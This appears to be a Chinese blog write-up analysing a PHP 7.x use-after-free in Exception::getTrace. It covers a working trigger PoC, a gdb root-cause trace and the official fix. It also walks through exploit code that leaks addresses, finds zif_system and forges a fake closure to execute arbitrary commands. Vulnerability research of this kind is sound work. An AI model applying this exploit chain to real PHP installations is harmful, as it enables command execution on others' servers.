PHP7 UAF

编译

注意加了–enable-debug参数以后堆内的结构会改变,跑不通,exp有两行要改成下面这样(多加一个偏移)

$php_heap = str2ptr($abc, 0x1c8);
$abc_addr = $php_heap - 0x1c8 - 0xa0;

下图为不加–enable-debug的$helper

下图为加了–enable-debug的$helper

./configure –disable-all –enable_debug –prefix=/root/code/php/php-7.2.24-test/php-build

./configure –disable-all –prefix=/root/code/php/php-7.2.24-test2/php-build

如果要保留宏定义,那就再加上CFLAGS=”-g3 -gdwarf-4″

make && make install

启动调试

gdb -q /root/code/php/php-7.2.24-test/php-build/bin/php
set args poc.php
source /mnt/c/_code/_php/php-src-PHP-7.2.24/.gdbinit

backtrace

影响范围

  • 7.0 – all versions to date
  • 7.1 – all versions to date
  • 7.2 – all versions to date
  • 7.3 < 7.3.15 (released 20 Feb 2020)
  • 7.4 < 7.4.3 (released 20 Feb 2020)

poc

<?php
class Vuln {
    public $a;
    public function __destruct() {
        global $backtrace;
        var_dump($this->a);
        unset($this->a);
        $backtrace = (new Exception)->getTrace(); // backtrace has ref to $arg
//      debug_zval_dump($backtrace);
    }
}
function trigger_uaf($arg) {
    $arg = str_shuffle(str_repeat('A', 79)); // string to be UAFed
    $vuln = new Vuln();
    $vuln->a = $arg;
}
trigger_uaf('x');
debug_zval_dump($backtrace[1]['args'][0]); // access UAF string

结果

原因

先把变量(refcount=0)free了以后再放入backtrace

在var_dump和zim_exception_getTrace方法中打断点

p (zend_string)*$uaf_str_ptr

Exception->trace创建过程

zend_builtin_functions.c

然后进入zend_exception.c的zend_register_default_exception

在create_object的函数中一直跟进发现

下断点

步过这一行,发现trace已经获得了值

将调试的文件更换为poc.php,step进入

此处看看ptr的内容(ptr为current_execute_data)

然后把这些都放到stack_frame中

此处有两次收集stack_frame的循环,第一次为__destruct(),第二次为trigger_uaf()

最后把这两次的stack_frame放入返回值中

以上就是Exception->trace的生成过程,在getTrace中,只是把Exception->trace复制过去

修复

修复以后在此处prop根本就没有第二个数组(php版本为php7.3.26),看到刚才的zend_builtin_functions.c中的stack_frame,也只有一轮循环(只有一次zend_hash_next_index_insert_new)

看看官方的修复

仔细一看,发现生成execption的过程发生在zend_leave_helper_SPEC中,官方修复的作用是在生成exception->trace的过程前在backtrace中删除trigger_uaf,这样backtrace中也就不会有trigger_uaf的args的指针了

下图为php7.3.26,因为官方的修复,少了一个trigger_uaf,至于那个???,先挖个坑

EXP分析

exp

此处用一个$helper类覆盖原来的$str

此处的zend_string和zend_object之间的对应关系

zend_string      zend_object
gc               gc
h                handle
len	         ce
val+0            handlers //std_object_handlers,里面有一些操作对象的方法
val+8            properties
val+16           first field
val+24           type of first field
         ...

新建helper后对比👇,这两张图也解释了为什么字符串的长度设置为79

a,b,c,d后面的0x10是type,如a为null,那么type为0x1,b为closure,type为0x08,0x04(php7.2.24好像只覆盖了后8位)

剩下的3个变量printzv出来全是NULL(显然)

这里内存看起来很鬼畜,跟别人的不太一样,但是在var_dump($helper)下断点确实可以看出来刚好覆盖了$abc(下图为网上看到的php7.4.2的内存,而本文中使用的版本为php7.2.24)

先不管这里的区别,我们搞清楚了内存结构以后,下一步要做的就是变量混淆,简单来说我们需要把$helper->b用一个虚假的closure覆盖,具体的步骤如下:

先找到abc开始的地址

$php_heap = str2ptr($abc, 0x58); //先获得堆中的下一个节点的头指针指向的地址(下图中为0x7ffff7091700)
$abc_addr = $php_heap - 0xc8;    //用地址减去偏移得到abc的地址(0x...91638)

将$helper->a指向堆中下一个节点地址,并且在指向的地址定义了一个zend_reference,refconunt=2,type=6

 # fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
 # fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

接下来使用$closure_handlers,即std_object_handler泄露地址,把上面定义的reference指向std_object_handler

$binary_leak = leak($closure_handlers, 8);

然后使用这个字符串类型的reference一路搜索

if(!($base = get_binary_base($binary_leak))) { //找ELF的基址
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {//根据ELF header分析elf,找到data段,text段的大小和data段地址
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) { //找basic_funcs里面的constant和bin2hex
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) { //找basic_funcs里的system
        die("Couldn't get zif_system address");
    }

最后一步,用zif_system函数的地址覆盖$helper->b的地址,先复制一个$helper->b到+0xd0的地方,然后把$helper->b指向这个假的zend_closure,最后把zif_system的地址填到b->func->internal_function->handler的位置

$fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
typedef struct _zend_closure {
    zend_object       std;
    zend_function     func;
    zval              this_ptr;
    zend_class_entry *called_scope;
    zif_handler       orig_internal_handler;
} zend_closure;

union _zend_function {
	zend_uchar type;	/* MUST be the first element of this struct! */
	uint32_t   quick_arg_flags;

	struct {
		zend_uchar type;  /* never used */
		zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
		uint32_t fn_flags;
		zend_string *function_name;
		zend_class_entry *scope;
		union _zend_function *prototype;
		uint32_t num_args;
		uint32_t required_num_args;
		zend_arg_info *arg_info;
	} common;

	zend_op_array op_array;
	zend_internal_function internal_function;
};

typedef struct _zend_internal_function {
	/* Common elements */
	zend_uchar type;
	zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
	uint32_t fn_flags;
	zend_string* function_name;
	zend_class_entry *scope;
	zend_function *prototype;
	uint32_t num_args;
	uint32_t required_num_args;
	zend_internal_arg_info *arg_info;
	/* END of common elements */

	zif_handler handler;
	struct _zend_module_entry *module;
	void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;

接下来就可以使用system执行任意命令叻

其他类的getTrace方法

exp里面的Exception类可以被替换成其他类,比如Error类,xxxException,xxxError等等,另外还有一个ReflectionGenerator类也有getTrace方法,但是个人猜测并不能触发uaf,原因是看了源码发现ReflectionGenerator的getTrace不像execption类在new的时候就创建好trace,而是在getTrace的时候才去获取stacktrace,backtrace如下,如果有大佬觉得不对欢迎指教

发表评论

邮箱地址不会被公开。 必填项已用*标注